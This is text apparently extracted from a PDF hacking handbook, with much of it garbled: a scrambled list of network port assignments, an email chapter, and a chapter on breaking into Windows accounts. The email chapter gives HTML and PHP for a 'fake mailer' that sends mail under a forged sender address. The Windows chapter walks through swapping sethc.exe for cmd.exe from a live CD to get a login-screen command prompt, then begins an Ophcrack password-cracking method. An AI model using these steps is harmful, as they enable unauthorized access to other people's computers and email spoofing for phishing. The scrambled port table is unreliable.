Remote Control
Netop Business
Solutions - NetOp
School
Gobby (and other
libobby-based software)
Gobby 0.5 (and other
libinfinity-based
software)
Paradigm Research &
Development Jetnet
default
SANE (Scanner Access
Now Easy)SANE
network scanner
daemon
Windows Live
FolderShare client
Music Playing Daemon
(MPD)
odette-ftps, Odette File

Unofficial
Official
Official
Official
Unofficial

Unofficial
Unofficial
Unofficial

Unofficial

Unofficial

Unofficial
Unofficial
Official

KDW>dWKZdd/>^

,WdZ

6646
UDP
6660
TCP
6664
6665
TCP
6669
6679

TCP UDP

6679

TCP

6697

TCP

6699

TCP

6702

TCP

6771

6789

UDP

TCP

6881
TCP UDP
6887

W 


Transfer Protocol
(OFTP) over TLS/SSL
McAfee Network Agent Unofficial
Internet Relay Chat
Unofficial
(IRC)
Internet Relay Chat
Official
(IRC)
Osorno Automation
Official
Protocol (OSAUT)
IRC SSL (Secure
Internet Relay Chat) Unofficial
often used
IRC SSL (Secure
Internet Relay Chat) Unofficial
often used
WinMX (see also 6257) Unofficial
Default for Tidal
Enterprise Scheduler
client-Socket used for
Unofficial
communication between
Client-to-Master,
though can be changed
Polycom server
Unofficial
broadcast
Datalogger Support
Software Campbell
Unofficial
Scientific Loggernet
Software
BitTorrent part of full
range of ports used most Unofficial
often

KDW>dWKZdd/>^

,WdZ

6888

TCP UDP

6888

TCP UDP

6889
TCP UDP
6890
6891
TCP UDP
6900
6891
TCP UDP
6900
6901

TCP UDP

6901

TCP UDP

6902
TCP UDP
6968
6969
6969

TCP UDP
TCP

6970
TCP UDP
6999
7000

TCP

7001

TCP

W 


MUSE
Official
BitTorrent part of full
range of ports used most Unofficial
often
BitTorrent part of full
range of ports used most Unofficial
often
BitTorrent part of full
range of ports used most Unofficial
often
Windows Live
Messenger (File
Unofficial
transfer)
Windows Live
Unofficial
Messenger (Voice)
BitTorrent part of full
range of ports used most Unofficial
often
BitTorrent part of full
range of ports used most Unofficial
often
acmsoda
Official
BitTorrent tracker
Unofficial
BitTorrent part of full
range of ports used most Unofficial
often
Default for Vuze's built
in HTTPS Bittorrent
Unofficial
Tracker
Default for BEA
Unofficial
WebLogic Server's

KDW>dWKZdd/>^

,WdZ

7002

TCP

7005

TCP

7006

TCP

7010

TCP

7025

TCP

7047

TCP

7133

TCP

W 


HTTP server, though


often changed during
installation
Default for BEA
WebLogic Server's
HTTPS server, though Unofficial
often changed during
installation
Default for BMC
Software ControlM/Server and ControlM/Agent for Agent-to- Unofficial
Server, though often
changed during
installation
Default for BMC
Software ControlM/Server and ControlM/Agent for Server-to- Unofficial
Agent, though often
changed during
installation
Default for Cisco AON
AMC (AON
Unofficial
Management Console)
Zimbra LMTP
[mailbox]local mail Unofficial
delivery
Zimbra conversion
Unofficial
server
Enemy Territory: Quake
Unofficial
Wars

KDW>dWKZdd/>^

,WdZ

7144
7145
7171
7306
7307
7312

TCP
TCP
TCP
TCP
TCP

7400

TCP UDP

7401

TCP UDP

7402

TCP UDP

7473

TCP UDP

7547

TCP UDP

7615

TCP

7670

TCP

7676

TCP

UDP

7700
7777

UDP
TCP

W 


Peercast
Unofficial
Peercast
Unofficial
Tibia
Unofficial
Zimbra mysql [mailbox] Unofficial
Zimbra mysql [logger] Unofficial
Sibelius License Server Unofficial
RTPS (Real Time
Publish Subscribe) DDS Official
Discovery
RTPS (Real Time
Publish Subscribe) DDS Official
User-Traffic
RTPS (Real Time
Publish Subscribe) DDS Official
Meta-Traffic
Rise: The Vieneo
Official
Province
CPE WAN
Management Protocol Official
Technical Report 069
ISL Online
Unofficial
communication protocol
BrettspielWelt BSW
Unofficial
Boardgame Portal
Aqumin AlphaVision
Remote Command
Unofficial
Interface
P2P DC (RedHub)
Unofficial
iChat server file transfer
Unofficial
proxy

KDW>dWKZdd/>^

,WdZ

7777

TCP

7777

TCP

7777

TCP

7778
77777788
77777788
77877788

TCP

7831

TCP

7880

TCP UDP

7915

TCP

7935

TCP

79379936

TCP UDP

UDP
TCP
TCP

8000
W 


UDP

Oracle Cluster File


System 2
Windows backdoor
program tini.exe default
Xivio.com Chat Server
Interface
Bad Trip MUD
Unreal Tournament
series default server
Unreal Tournament
series default server
GFI EventsManager 7
&8
Default used by
Smartlaunch Internet
Cafe Administration
software
PowerSchool
Gradebook Server
Default for YSFlight
server
Fixed port used for
Adobe Flash Debug
Player to communicate
with a debugger (Flash
IDE, Flex Builder or
fdb).
EMC2 (Legato)
Networker or Sun
Solcitice Backup
iRDMI (Intel Remote

Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Official

Unofficial

Unofficial
Unofficial

Unofficial

Official
Official

KDW>dWKZdd/>^

,WdZ

8000

TCP

8000

TCP

8001

TCP

8002

TCP

8008

TCP

8008

TCP

8009

TCP

8010

TCP

80118014

TCP

8074
8078

TCP
TCP UDP

W 


Desktop Management
Interface)sometimes
erroneously used
instead of port 8080
iRDMI (Intel Remote
Desktop Management
Interface)sometimes
erroneously used
instead of port 8080
Commonly used for
internet radio streams
such as those using
SHOUTcast
Commonly used for
internet radio streams
such as those using
SHOUTcast
Cisco Systems Unified
Call Manager
Intercluster
HTTP Alternate
IBM HTTP Server
administration default
ajp13Apache JServ
Protocol AJP Connector
XMPP File transfers
HTTP/TCP Symon
Communications Event
and Query Engine
Gadu-Gadu
Default port for most

Official

Unofficial

Unofficial

Unofficial
Official
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial

KDW>dWKZdd/>^

,WdZ

8080

TCP

8080
8080

TCP

8081

TCP

8086

TCP

8086

TCP

8087

TCP

8087

TCP

UDP

8087

UDP

8089

TCP

8090

TCP

8100

TCP

W 


Endless Online-based
servers
HTTP alternate
(http_alt)commonly
used for Web proxy and
caching server, or for
running a Web server as
a non-root user
Apache Tomcat
FilePhile Master/Relay
HTTP alternate,
VibeStreamer, e.g.
McAfee ePolicy
Orchestrator (ePO)
HELM Web Host
Automation Windows
Control Panel
Kaspersky AV Control
Center
Hosting Accelerator
Control Panel
Parallels Plesk Control
Panel
Kaspersky AV Control
Center
Splunk Daemon
HTTP Alternate
(http_alt_alt)used as
an alternative to port
8080
Console Gateway

Official

Unofficial
Unofficial
Unofficial

Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial

KDW>dWKZdd/>^

,WdZ

8116

UDP

8118

TCP

8123

TCP

8192

TCP

8193

TCP

8194

TCP

8200

TCP

8222

TCP

8243

TCP UDP

8280

TCP UDP

8291

TCP

8303
8332

UDP
TCP

W 


License Verification
Check Point Cluster
Control Protocol
Privoxy
advertisement-filtering
Web proxy
Polipo Web proxy
Sophos Remote
Management System
Sophos Remote
Management System
Sophos Remote
Management System
GoToMyPC
VMware Server
Management User
Interface (insecure Web
interface). See also port
8333
HTTPS listener for
Apache Synapse
HTTP listener for
Apache Synapse
WinboxDefault on a
MikroTik RouterOS for
a Windows application
used to administer
MikroTik RouterOS
Teeworlds Server
Bitcoin JSON-RPC
server

Unofficial
Official
Official
Unofficial
Unofficial
Unofficial
Unofficial

Unofficial

Official
Official

Unofficial

Official
Unofficial

KDW>dWKZdd/>^

,WdZ

8333

TCP

8333

TCP

8400

TCP UDP

8442

TCP UDP

8443

TCP

8484

TCP UDP

8500

TCP UDP

8501

TCP

8601

TCP

8602

TCP UDP

8691

TCP

W 


Bitcoin
VMware Server
Management User
Interface (secure Web
interface). See also port
8222
cvp, Commvault
Unified Data
Management
CyBro A-bus,
Cybrotech Ltd.
SW Soft Plesk Control
Panel, Apache Tomcat
SSL, Promise WebPAM
SSL, McAfee ePolicy
Orchestrator (ePO)
MapleStory
ColdFusion
Macromedia/Adobe
ColdFusion default and
Duke Nukem 3D
default
[2] DukesterX default
Wavestore CCTV
protocol
Wavestore Notification
protocol
Ultra Fractal default
server port for
distributing calculations
over network computers

Unofficial

Unofficial

Official
Official

Unofficial

Unofficial

Unofficial

Unofficial
Unofficial
Unofficial

Unofficial

KDW>dWKZdd/>^

,WdZ

8701

UDP

8702

UDP

8767
8768

UDP
UDP

8880

UDP

8880

TCP

8880

TCP

8880

TCP

8881

TCP

8882

TCP

8883

TCP UDP

8887
8888
8888
8888

TCP
TCP
UDP
TCP

W 


SoftPerfect Bandwidth
Manager
SoftPerfect Bandwidth
Manager
TeamSpeakdefault
TeamSpeakalternate
cddbp-alt, CD DataBase
(CDDB) protocol
(CDDBP) alternate
cddbp-alt, CD DataBase
(CDDB) protocol
(CDDBP) alternate
WebSphere Application
Server SOAP connector
default
Win Media Streamer to
Server SOAP connector
default
Atlasz Informatics
Research Ltd Secure
Application Server
Atlasz Informatics
Research Ltd Secure
Application Server
Secure MQ Telemetry
Transport (MQTT over
SSL)
HyperVM HTTP
HyperVM HTTPS
NewsEDGE server
NewsEDGE server

Unofficial
Unofficial
Unofficial
Unofficial
Official

Official

Unofficial

Unofficial

Unofficial

Unofficial

Official
Official
Official
Official
Official

KDW>dWKZdd/>^

,WdZ

8888

TCP

8888

TCP

8888

TCP

8888

TCP

8888

TCP

8888
8889

TCP
TCP

8889

TCP

8983

TCP

9000

TCP

9000

TCP

9000

TCP

9000
9001

UDP
TCP UDP

9001
W 


Sun Answerbook
dwhttpd server
Unofficial
(deprecated by
docs.sun.com)
GNUmp3d HTTP music
streaming and Web
Unofficial
interface
LoLo Catcher HTTP
Web interface
Unofficial
(www.optiform.com)
D2GS Admin Console
Telnet administration
Unofficial
console for D2GS
servers (Diablo 2)
Earthland Relams 2
Unofficial
Server (AU1_2)
MAMP Server
Unofficial
MAMP Server
Unofficial
Earthland Relams 2
Unofficial
Server (AU1_1)
Default for Apache Solr
Unofficial
1.4
Buffalo LinkSystem
Unofficial
Web access
DBGp
Unofficial
SqueezeCenter web
Unofficial
server & streaming
UDPCast
Unofficial
ETL Service Manager Official
Microsoft Sharepoint
Unofficial
Authoring Environment

KDW>dWKZdd/>^

,WdZ

9001
9001
9001

TCP

9009

TCP UDP

9030

TCP

9043

TCP

9050
9051

TCP
TCP

9060

TCP

9080

UDP

9080

TCP

9080

TCP

9090

TCP

9090

TCP

9090

TCP

W 


cisco-xremote router
Unofficial
configuration
Tor network default
Unofficial
DBGp Proxy
Unofficial
Pichat ServerPeer to
Official
peer chat software
Tor often used
Unofficial
WebSphere Application
Server Administration Unofficial
Console secure
Tor
Unofficial
Tor
Unofficial
WebSphere Application
Server Administration Unofficial
Console
glrpc, Groove
Collaboration software Official
GLRPC
glrpc, Groove
Collaboration software Official
GLRPC
WebSphere Application
Server HTTP Transport Unofficial
(port 1) default
Webwasher, Secure
Web, McAfee Web
Unofficial
Gateway - Default
Proxy Port
Openfire Administration
Unofficial
Console
SqueezeCenter control Unofficial

KDW>dWKZdd/>^

,WdZ

9091

TCP

9100
9101
9102
9103

TCP
TCP UDP
TCP UDP
TCP UDP

9105

TCP UDP

9110

UDP

9119

TCP UDP

9191

TCP

9293

TCP

9300

TCP

9303

UDP

9306
9312

TCP
TCP

9418

TCP UDP

9420

TCP

W 


(CLI)
Openfire Administration
Unofficial
Console (SSL Secured)
PDL Data Stream
Official
Bacula Director
Official
Bacula File Daemon
Official
Bacula Storage Daemon Official
Xadmin Control
Official
Daemon
SSMP Message
Unofficial
protocol
MXit Instant Messenger Official
Catamount Software Unofficial
PocketMoney Sync
Sony PlayStation
Unofficial
RemotePlay
IBM Cognos 8 SOAP
Business Intelligence
Unofficial
and Performance
Management
D-Link Shareport Share
storage and MFP
Unofficial
printers
Sphinx Native API
Official
Sphinx SphinxQL
Official
git, Git pack transfer
Official
service
MooseFS distributed
file systemmaster
Unofficial
server to chunk servers

KDW>dWKZdd/>^

,WdZ

9421

TCP

9422

TCP

9535

TCP UDP

9536

TCP UDP

9561

TCP UDP

9600

UDP

9675

TCP UDP

9676

TCP UDP

9695
9800

UDP
TCP UDP

9800
9875

TCP

9898
9898

UDP
TCP

9898

TCP

W 


MooseFS distributed
file systemmaster
server to clients
MooseFS distributed
file systemchunk
servers to clients
mngsuite, LANDesk
Management Suite
Remote Control
laes-bf, IP Fabrics
Surveillance buffering
function
Network Time System
Server
Omron FINS, OMRON
FINS PLC
communication
Spiceworks Desktop, IT
Helpdesk Software
Spiceworks Desktop, IT
Helpdesk Software
CCNx
WebDAV Source
WebCT e-learning
portal
Club Penguin Disney
online game for kids
MonkeyCom
MonkeyCom
TripwireFile Integrity
Monitoring Software

Unofficial

Unofficial

Official

Official
Unofficial
Official
Unofficial
Unofficial
Official
Official
Unofficial
Unofficial
Official
Official
Unofficial

KDW>dWKZdd/>^

,WdZ

9987

UDP

9996

TCP UDP

9999

9999

TCP

9999
10000
10000
10000

10001 TCP

10008 TCP UDP

W 


TeamSpeak 3 server
default (voice) port (for
the conflicting service
see the IANA list)
The Palace "The
Palace" Virtual Reality
Chat software.5
Hydranode
edonkey2000 TELNET
control
Lantronix UDS10/UDS100 RS-485 to
Ethernet Converter
TELNET control
Urchin Web Analytics
WebminWeb-based
Linux admin tool
BackupExec
Ericsson Account
Manager (avim)
Lantronix UDS10/UDS100 RS-485 to
Ethernet Converter
default
Octopus Multiplexer,
primary port for the
CROMP protocol,
which provides a
platform-independent
means for
communication of
objects across a network

Unofficial

Official

Unofficial

Unofficial
Unofficial
Unofficial
Unofficial
Unofficial

Unofficial

Official

KDW>dWKZdd/>^

,WdZ

Cross Fire, a
multiplayer online First
Person Shooter
Open Object Rexx
10010 TCP
(ooRexx) rxapi daemon
AIX,NeXT, HPUX
10017
rexd daemon control
Zimbra smtp [mta]to
10024 TCP
amavis from postfix
Zimbra smtp [mta]
10025 TCP
back to postfix from
amavis
10050 TCP UDP Zabbix-Agent
10051 TCP UDP Zabbix-Trapper
10113 TCP UDP NetIQ Endpoint
10114 TCP UDP NetIQ Qcheck
10115 TCP UDP NetIQ Endpoint
10116 TCP UDP NetIQ VoIP Assessor
FRISK Software
International's fpscand
10200 TCP
virus scanning daemon
for Unix platforms
FRISK Software
International's f-protd
10200 TCP
virus scanning daemon
for Unix platforms
FRISK Software
10201
International's f-protd
TCP
10204
virus scanning daemon
for Unix platforms
10308
Lock-on: Modern Air
10009 TCP UDP

W 


Unofficial
Official
Unofficial
Unofficial
Unofficial
Official
Official
Official
Official
Official
Official
Unofficial

Unofficial

Unofficial
Unofficial

KDW>dWKZdd/>^

,WdZ

10480
10823

UDP

10891 TCP
11211
11235
11294
11371
11576
12010 TCP
12011 TCP
12012 TCP
12012 TCP

12012

UDP

12013 TCP UDP


W 


Combat
SWAT 4 Dedicated
Unofficial
Server
Farming Simulator 2011
Unofficial
Default Server
Jungle Disk (this port is
opened by the Jungle
Unofficial
Disk Monitor service on
the localhost)
memcached
Unofficial
Savage:Battle for
Unofficial
Newerth Server Hosting
Blood Quest Online
Unofficial
Server
OpenPGP HTTP key
Official
server
IPStor Server
management
Unofficial
communication
ElevateDB default
Unofficial
database port
Axence nVision
Unofficial
Axence nVision
Unofficial
Audition Online Dance
Battle, Korea Server Unofficial
Status/Version Check
Audition Online Dance
Battle, Korea Server Unofficial
Status/Version Check
Audition Online Dance
Unofficial
Battle, Korea Server

KDW>dWKZdd/>^

,WdZ

12035

UDP

12222

UDP

12223

UDP

12345

12489 TCP

12975 TCP

12998
UDP
12999
13000
UDP
13050
13008 TCP UDP
W 


Linden Lab viewer to


Unofficial
sim on SecondLife
Light Weight Access
Point Protocol
Official
(LWAPP) LWAPP data
(RFC 5412)
Light Weight Access
Point Protocol
Official
(LWAPP) LWAPP
control (RFC 5412)
NetBusremote
administration tool
(often Trojan horse).
Unofficial
Also used by NetBuster.
Little Fighter 2 (TCP).
NSClient/NSClient++/N
Unofficial
C_Net (Nagios)
LogMeIn Hamachi
(VPN tunnel software;
also port 32976)used
to connect to Mediation
Server
Unofficial
(bibi.hamachi.cc); will
attempt to use SSL
(TCP port 443) if both
12975 & 32976 fail to
connect
Takenaka RDI Mirror
Unofficial
World on SecondLife
Linden Lab viewer to
Unofficial
sim on SecondLife
Cross Fire, a
Unofficial

KDW>dWKZdd/>^

,WdZ

13075 TCP

13195TCP UDP
13196
13720 TCP UDP

13721 TCP UDP

13724 TCP UDP

13782 TCP UDP

13783 TCP UDP

13785 TCP UDP


13786 TCP UDP
14439 TCP
W 


multiplayer online First


Person Shooter
Default for BMC
Software ControlM/Enterprise Manager
Official
Corba communication,
though often changed
during installation
Ontolux Ontolux 2D
Symantec NetBackup
bprd (formerly
VERITAS)
Symantec NetBackup
bpdbm (formerly
VERITAS)
Symantec Network
Utilityvnetd
(formerly VERITAS)
Symantec NetBackup
bpcd (formerly
VERITAS)
Symantec VOPIED
protocol (formerly
VERITAS)
Symantec NetBackup
Databasenbdb
(formerly VERITAS)
Symantec nomdb
(formerly VERITAS)
APRS UI-View
Amateur Radio UI-

Unofficial
Official

Official

Official

Official

Official

Official
Official
Unofficial

KDW>dWKZdd/>^

,WdZ

14567

UDP

15000 TCP
15000 TCP
15000 TCP

15000 TCP

15000

UDP

15567

UDP

15345 TCP UDP


16000 TCP
16080 TCP

16200 TCP

16250 TCP
16384

UDP

16567

UDP

W 


WebServer
Battlefield 1942 and
mods
psyBNC
Wesnoth
Kaspersky Network
Agent
hydap, Hypack
Hydrographic Software
Packages Data
Acquisition
hydap, Hypack
Hydrographic Software
Packages Data
Acquisition
Battlefield Vietnam and
mods
XPilot Contact
shroudBNC
Mac OS X Server Web
(HTTP) service with
performance cache
Oracle Universal
Content Management
Content Server
Oracle Universal
Content Management
Inbound Refinery
Iron Mountain Digital
online backup
Battlefield 2 and mods

Unofficial
Unofficial
Unofficial
Unofficial

Official

Official

Unofficial
Official
Unofficial
Unofficial

Unofficial

Unofficial
Unofficial
Unofficial

KDW>dWKZdd/>^

,WdZ

17500 TCP

17500

UDP

18010 TCP
18104 TCP
18180 TCP
18200 TCP UDP

18201 TCP UDP

18206 TCP UDP


18300 TCP UDP
W 


Dropbox LanSync
Protocol (db-lsp); used
to synchronize file
catalogs between
Dropbox clients on your
local network.
Dropbox LanSync
Discovery (db-lsp-disc);
used to synchronize file
catalogs between
Dropbox clients on your
local network; is
transmitted to broadcast
addresses.
Super Dancer Online
Extreme(SDO-X)CiB
Net Station Malaysia
Server
RAD PDF Service
DART Reporting server
Audition Online Dance
Battle, AsiaSoft
Thailand Server
Status/Version Check
Audition Online Dance
Battle, AsiaSoft
Thailand Server
Audition Online Dance
Battle, AsiaSoft
Thailand ServerFAM
Database
Audition Online Dance

Official

Official

Unofficial
Official
Unofficial
Unofficial

Unofficial

Unofficial
Unofficial

KDW>dWKZdd/>^

,WdZ

18301 TCP UDP

18306 TCP UDP

18400 TCP UDP

18401 TCP UDP

18505 TCP UDP


18506 TCP UDP
18605 TCP UDP
18606 TCP UDP
19000 TCP UDP

19001 TCP UDP

W 


Battle, AsiaSoft SEA


ServerStatus/Version
Check
Audition Online Dance
Battle, AsiaSoft SEA
Server
Audition Online Dance
Battle, AsiaSoft SEA
ServerFAM Database
Audition Online Dance
Battle, KAIZEN Brazil
ServerStatus/Version
Check
Audition Online Dance
Battle, KAIZEN Brazil
Server
Audition Online Dance
Battle, Nexon Server
Status/Version Check
Audition Online Dance
Battle, Nexon Server
X-BEAT
Status/Version Check
X-BEAT
Audition Online Dance
Battle, G10/alaplaya
ServerStatus/Version
Check
Audition Online Dance
Battle, G10/alaplaya
Server

Unofficial

Unofficial

Unofficial

Unofficial

Unofficial
Unofficial
Unofficial
Unofficial
Unofficial

Unofficial

KDW>dWKZdd/>^

,WdZ

19226 TCP

19283 TCP UDP

19294 TCP
19295

UDP

19302

UDP

19315 TCP UDP

19638 TCP
19771 TCP UDP
19812 TCP
19813 TCP
19814 TCP
19880 TCP
19999
W 


Panda Software
AdminSecure
Communication Agent
K2 - KeyAuditor &
KeyServer, Sassafras
Software Inc. Software
Asset Management
tools
Google Talk Voice and
Video connections
Google Talk Voice and
Video connections
Google Talk Voice and
Video connections
KeyShadow for K2 KeyAuditor &
KeyServer, Sassafras
Software Inc. Software
Asset Management
tools
Ensim Control Panel
Softros LAN Messenger
4D database SQL
Communication
4D database Client
Server Communication
4D database DB4D
Communication
Softros LAN Messenger
DNP - Secure
(Distributed Network

Unofficial

Official

Unofficial
Unofficial
Unofficial

Official

Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Official

KDW>dWKZdd/>^

,WdZ

20000

20000
20014 TCP
20720 TCP
21001 TCP

21011 TCP

21012 TCP

21021 TCP

21022 TCP

W 


Protocol - Secure), a
secure version of the
protocol used in
SCADA systems
between communicating
RTU's and IED's
DNP (Distributed
Network Protocol), a
protocol used in
SCADA systems
between communicating
RTU's and IED's
Usermin, Web-based
user tool
DART Reporting server
Symantec i3 Web GUI
server
AMLFilter, AMLFilter
Inc. amlf-admin default
port
AMLFilter, AMLFilter
Inc. amlf-engine-01
default http port
AMLFilter, AMLFilter
Inc. amlf-engine-01
default https port
AMLFilter, AMLFilter
Inc. amlf-engine-02
default http port
AMLFilter, AMLFilter
Inc. amlf-engine-02
default https port

Official

Unofficial
Unofficial
Unofficial
Unofficial

Unofficial

Unofficial

Unofficial

Unofficial

KDW>dWKZdd/>^

,WdZ

22136 TCP
22222 TCP

22347 TCP UDP

22350 TCP UDP


23073
23399
23513

24444

24465 TCP UDP

24554 TCP UDP


24800
24842

W 


FLIR Systems Camera


Resource Protocol
Davis Instruments,
WeatherLink IP
WibuKey, WIBUSYSTEMS AG
Software protection
system
CodeMeter, WIBUSYSTEMS AG
Software protection
system
Soldat Dedicated Server
Skype Default Protocol
Duke Nukem
3D#Source code Duke
Nukem Ports
NetBeans integrated
development
environment
Tonido Directory Server
for Tonido which is a
Personal Web App and
P2P platform
BINKP, Fidonet mail
transfers over TCP/IP
Synergy:
keyboard/mouse sharing
software
StepMania: Online:
Dance Dance

Unofficial
Unofficial

Official

Official
Unofficial
Unofficial
Unofficial

Unofficial

Official

Official
Unofficial
Unofficial

KDW>dWKZdd/>^

,WdZ

25000 TCP
25003 TCP
25005 TCP
25007 TCP
25010 TCP
25565
25565
25826

UDP

25888

UDP

25999 TCP
26000
26000 TCP
26000 TCP

W 


UDP

Revolution Simulator
Teamware Office
standard client
connection
Teamware Office client
notifier
Teamware Office
message transfer
Teamware Office
MIME Connector
Teamware Office Agent
server
Minecraft Dedicated
Server
MySQL Standard
MySQL port
collectd default port
Xfire (Firewall Report,
UDP_IN) IP Address
(206.220.40.146)
resolves to
gameservertracking.xfir
e.com. Use unknown.
Xfire
id Software's Quake
server
id Software's Quake
server
CCP's EVE Online
Online gaming
MMORPG

Official
Official
Official
Official
Official
Unofficial
Unofficial
Unofficial

Unofficial

Unofficial
Official
Official
Unofficial

KDW>dWKZdd/>^

,WdZ

26900 TCP

26901 TCP

27000

UDP

27000TCP
27009
27010
27014
27015
27016
27017
27374
27500

UDP

27888
2790027901

UDP

27901

UDP

27960

UDP

W 


CCP's EVE Online


Online gaming
MMORPG
CCP's EVE Online
Online gaming
MMORPG
(through 27006) id
Software's QuakeWorld
master server
FlexNet Publisher's
License server (from the
range of default ports)
Source engine dedicated
server port
Source engine dedicated
server port (rare)
GoldSrc and Source
engine dedicated server
port
Magicka server port
mongoDB server port
Sub7 default.
(through 27900) id
Software's QuakeWorld
Kaillera server
Nintendo Wi-Fi
Connection
(through 27910) id
Software's Quake II
master server
(through 27969)

Unofficial

Unofficial

Unofficial

Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial

KDW>dWKZdd/>^

,WdZ

28000

28001

28395 TCP
28785

UDP

28786

UDP

28910

28960

29000
29900W 


UDP

Activision's Enemy
Territory and id
Software's Quake III
Arena, Quake III and
Quake Live and some
ioquake3 derived games
Bitfighter
Common/default
Bitfighter Server
Starsiege: Tribes
Common/default Tribes
v.1 Server
www.SmartSystemsLL
C.com Used by Smart
Sale 5.0
Cube 2 Sauerbraten
Cube 2 Sauerbraten Port
2
Nintendo Wi-Fi
Connection
Call of Duty; Call of
Duty: United Offensive;
Call of Duty 2; Call of
Duty 4: Modern
Warfare; Call of Duty:
World at War (PC
Version)
Perfect World
International Used by
the Perfect World
International Client
Nintendo Wi-Fi

Unofficial

Unofficial

Unofficial
Unofficial
Unofficial
Unofficial

Unofficial

Unofficial
Unofficial

KDW>dWKZdd/>^

,WdZ

29901
29920
30000
30301
30564 TCP

30718
30777 TCP
31337 TCP

31415
31456 TCP
31457 TCP
31458 TCP
32123 TCP

32245 TCP
32769 TCP
32976 TCP
W 


UDP

Connection
Nintendo Wi-Fi
Unofficial
Connection
Pokmon Netbattle
Unofficial
BitTorrent
Unofficial
Multiplicity:
keyboard/mouse/clipboa Unofficial
rd sharing software
Lantronix Discovery for
Lantronix serial-toUnofficial
ethernet devices
ZangZing agent
Unofficial
Back Orificeremote
administration tool
Unofficial
(often Trojan horse)
ThoughtSignalServer
Communication Service Unofficial
(often Informational)
TetriNET IRC gateway
Unofficial
on some servers
TetriNET
Official
TetriNET Used for
Unofficial
game spectators
x3Lobby Used by
x3Lobby, an internet
Unofficial
application.
MMTSG-mutualed over
MMT (encrypted
Unofficial
transmission)
FileNet RPC
Unofficial
LogMeIn Hamachi
Unofficial

KDW>dWKZdd/>^

,WdZ

33434 TCP UDP


34443
34567 TCP

36963

UDP

37659 TCP
37777 TCP
40000 TCP UDP
41823 TCP UDP
43047 TCP
43048 TCP
W 


(VPN tunnel software;


also port 12975)used
to connect to Mediation
Server
(bibi.hamachi.cc); will
attempt to use SSL
(TCP port 443) if both
12975 & 32976 fail to
connect
traceroute
Linksys PSUS4 print
server
dhanalakshmi.org EDI
service
Any of the USGN
online games, most
notably Counter Strike
2D multiplayer (2D
clone of popular
CounterStrike computer
game)
Axence nVision
Digital Video Recorder
hardware
SafetyNET p Real-time
Industrial Ethernet
protocol
Murealm Client
ThesMessenger second
port for service
ThesMessenger
ThesMessenger third

Official
Unofficial
Official

Unofficial

Unofficial
Unofficial
Official
Unofficial
Official
Official

KDW>dWKZdd/>^

,WdZ

43594
TCP
43595
47001 TCP

47808 TCP UDP


49151 TCP UDP

port for service


ThesMessenger
Jagex, RuneScape,
FunOrb, etc.
WinRM - Windows
Remote Management
Service
BACnet Building
Automation and Control
Networks (4780810 =
BAC016)
Reserved

Unofficial
Official

Official
Official



The range above the registered ports contains dynamic, or
private, ports that cannot be registered with IANA. It is
used for custom or temporary purposes and for automatic
allocation of ephemeral ports.

W 


,KtdK^Ed&<D/>

,WdZ

  


What is E-mail?
E-mail is an electronic mail with the help of this service
one can send or receives mail messages from all over the
world. Email sending and receiving is controlled by the
Email servers. Email service providers configure Email
Server before anyone can Sign into his or her account and
start communicating digitally.

How does E-mail service work


Let us assign yourself if have two Email providers, one is
rediffmail.com and other is hotmail.com, 123 is a registered
user in rediffmail.com and 143 is a registered user in
hotmail.com.
 123 signs in to his Email account in rediffmail.com, he
then writes a mail to the 143@ hotmail.com and sends the
message.
%XWZKDWKDSSHQVEHKLQGWKHFXUWDLQVWKH(PDLOIURPWKH
computer of 123@rediffmail.com is forwarded to the Email
server of rediffmail.com. Server of rediffmail.com then
W 


,KtdK^Ed&<D/>

,WdZ

looks for hotmail.com on the internet and forwards the


Email of the hotmail.com for the account of 143@
hotmail.com. Rediffmail server puts that email in that
account.
 143 then sits on computer and signs in to her Email
account. Now she has the message in her Email inbox.

Codes
Step1
Create an html page for giving user input
<html>
K!$QWRV)DNH0DLOHU</h1>
<table border=2>
<form action="sent.php" method="post">
<tr><td>Recipent: </td><td><input type=text name=email
size=30></td></tr>
<tr><td>Sender name: </td><td><input type=text
name=name size=30></td></tr>
<tr><td>Sender Email Address: </td><td><input type=text
name=sender size=30></td></tr>
W 


,KtdK^Ed&<D/>

,WdZ

<tr><td>Subject: </td><td><input type=text name=subject


size=30></td></tr>
<tr><td>Content: </td><td><textarea rows=10 cols=30
name=content></textarea></td></tr>
<tr><td><input type=submit value="Send
Mail"></td></tr>
</form>
</table>
</html>

Step2
Type the PHP code given below
<?php
$email = $_POST['email'];
$content = nl2br($_POST['content']);
$name = $_POST['name'];
$sender = $_POST['sender'];
$subject = $_POST['subject'];
$headers = "From: $name "."<".$sender.">\r\n";
//add boundary string and mime type specification

W 


,KtdK^Ed&<D/>

,WdZ

//$headers .= 'MIME-Version: 1.0' . "\r\n";


//$headers .= 'Content-type: text/html; charset=iso-8859-1' .
"\r\n";
//send the email
mail($email, $subject, $content, $headers );
?>
Save it as sent.php

Step3
Now you will upload it to any webhosting site.

W 


^z^dD,</E'

,WdZ

  

Hacking windows Admin Password
Requirements:
x

Linux Live CD (any live CD will do it, i


recommend Ubuntu Live CD, or Back Track Live
CD) i will use Back Track.

Time needed : 1-5 minutes

Step1
Boot Back Track Live CD.

W 


^z^dD,</E'

,WdZ


Here is our file sethc.exeLWVORFDWHGLQ
"Windows/system32" folder.


W 


^z^dD,</E'

,WdZ


You can rename files from the file browser directly, or you
can use the console, i will use the console; its faster,
browse to the location of the files (system32).


What we will do is rename "sethc.exe" to "sethc.old" and
rename "cmd.exe" to "seth.exe" i will use the following
commands:
mv sethc.exe sethc.old
mv cmd.exe sethc.exe


W 


^z^dD,</E'

,WdZ





Reboot.

Now you will see the login screen.

Press shift 5 times and the command prompt should appear.


Start the explorer.
W 


^z^dD,</E'

,WdZ


Now you can get full access.




x

OphCrack Vista Live CD.

Time needed : 1-5 minutes


Burn Ophcrack Vista Live CD to a CD or DVD disc. Use
an ISO file burn program to burn the ophcrack-vista-livecd2.3.1.iso to the cd or dvd disc.
Note: You cannot burn the iso file to the cd or dvd disc like
burning a common file. You should use the Burn ISO
Image option the burn program provides to burn the iso file
to cd or dvd disc.


Boot the computer which will be hacked from Ophcrack
Vista Live CD.
W 


^z^dD,</E'

,WdZ

Note: The following steps should happen on the computer


you want to hack, instead happen on the computer you are
using.
x

